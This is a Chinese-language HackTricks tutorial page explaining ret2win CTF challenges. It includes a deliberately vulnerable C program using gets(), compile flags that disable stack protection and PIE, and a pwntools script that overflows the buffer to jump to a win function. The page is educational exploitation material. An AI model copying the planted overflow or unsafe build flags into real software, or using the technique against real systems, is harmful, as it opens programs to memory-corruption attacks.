# Ret2win

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## 基本信息

**Ret2win**挑战是**夺旗（CTF）比赛中的一个热门类别，特别是在涉及二进制利用**的任务中。目标是利用给定二进制文件中的漏洞，执行特定的未调用函数，通常命名为`win`、`flag`等。当执行时，该函数通常会打印出一个标志或成功消息。挑战通常涉及覆盖栈上的**返回地址**，以将执行流重定向到所需的函数。以下是更详细的解释和示例：

### C示例

考虑一个简单的C程序，其中存在漏洞和一个我们打算调用的`win`函数：

```c
#include <stdio.h>
#include <string.h>

void win() {
printf("Congratulations! You've called the win function.\n");
}

void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}

int main() {
vulnerable_function();
return 0;
}
```

要编译此程序而不启用堆栈保护并禁用**ASLR**，您可以使用以下命令：

```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```

* `-m32`: 将程序编译为32位二进制文件（这是可选的，但在CTF挑战中很常见）。
* `-fno-stack-protector`: 禁用对栈溢出的保护。
* `-z execstack`: 允许在栈上执行代码。
* `-no-pie`: 禁用位置无关可执行文件，以确保`win`函数的地址不会改变。
* `-o vulnerable`: 将输出文件命名为`vulnerable`。

### 使用Pwntools的Python攻击脚本

对于攻击，我们将使用**pwntools**，这是一个强大的CTF框架，用于编写攻击。攻击脚本将创建一个有效负载来溢出缓冲区，并用`win`函数的地址覆盖返回地址。

```python
from pwn import *

# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path

# Find the address of the win function
win_addr = p32(0x08048456)  # Replace 0x08048456 with the actual address of the win function in your binary

# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr

# Send the payload
p.sendline(payload)
p.interactive()
```

要找到`win`函数的地址，您可以使用**gdb**，**objdump**或任何其他允许您检查二进制文件的工具。例如，使用`objdump`，您可以使用：

```sh
objdump -d vulnerable | grep win
```

这个命令将显示`win`函数的汇编代码，包括其起始地址。

Python脚本发送精心构造的消息，当被`vulnerable_function`处理时，会溢出缓冲区并用`win`的地址覆盖栈上的返回地址。当`vulnerable_function`返回时，不会返回到`main`或退出，而是跳转到`win`，并打印消息。

## 保护措施

* [**PIE**](https://hacktricks.xsx.tw/binary-exploitation/common-binary-protections-and-bypasses/pie) **应该被禁用**，以便地址在不同执行中可靠，否则函数存储的地址不会始终相同，您需要一些泄漏来找出`win`函数加载的位置。在某些情况下，当导致溢出的函数是`read`或类似函数时，您可以进行**部分覆盖**，覆盖1或2个字节以将返回地址更改为`win`函数。由于ASLR的工作原理，最后三个十六进制数字不是随机的，因此有**1/16的机会**（1个十六进制数字）获得正确的返回地址。
* [**栈保护**](https://hacktricks.xsx.tw/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries) 也应该被禁用，否则受损的EIP返回地址将永远不会被跟随。

## 其他示例和参考资料

* <https://ir0nstone.gitbook.io/notes/types/stack/ret2win>
* <https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html>
* 32位，无ASLR
* <https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html>
* 64位，带ASLR，带二进制地址泄漏
* <https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html>
* 64位，无ASLR
* <https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html>
* 32位，无ASLR，双小溢出，首先溢出栈并增加第二次溢出的大小
* <https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html>
* 32位，relro，无canary，nx，无pie，格式化字符串以覆盖`fflush`地址为win函数（ret2win）
* <https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html>
* 32位，nx，无其他保护，部分覆盖EIP（1字节）以调用win函数
* <https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html>
* 32位，nx，无其他保护，部分覆盖EIP（1字节）以调用win函数
* <https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html>
* 程序仅验证数字的最后一个字节以检查输入的大小，因此只要最后一个字节在允许范围内，就可以添加任何大小。然后，输入创建一个利用ret2win的缓冲区溢出。
* <https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/>
* 64位，relro，无canary，nx，pie。部分覆盖以调用win函数（ret2win）
* <https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/>
* arm64，PIE，提供PIE泄漏，win函数实际上是2个函数，因此ROP gadget调用2个函数
* <https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/>
* ARM64，通过一次溢出调用win函数

## ARM64示例

{% content-ref url="ret2win/ret2win-arm64" %}
[ret2win-arm64](https://hacktricks.xsx.tw/binary-exploitation/stack-overflow/ret2win/ret2win-arm64)
{% endcontent-ref %}

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**上关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>
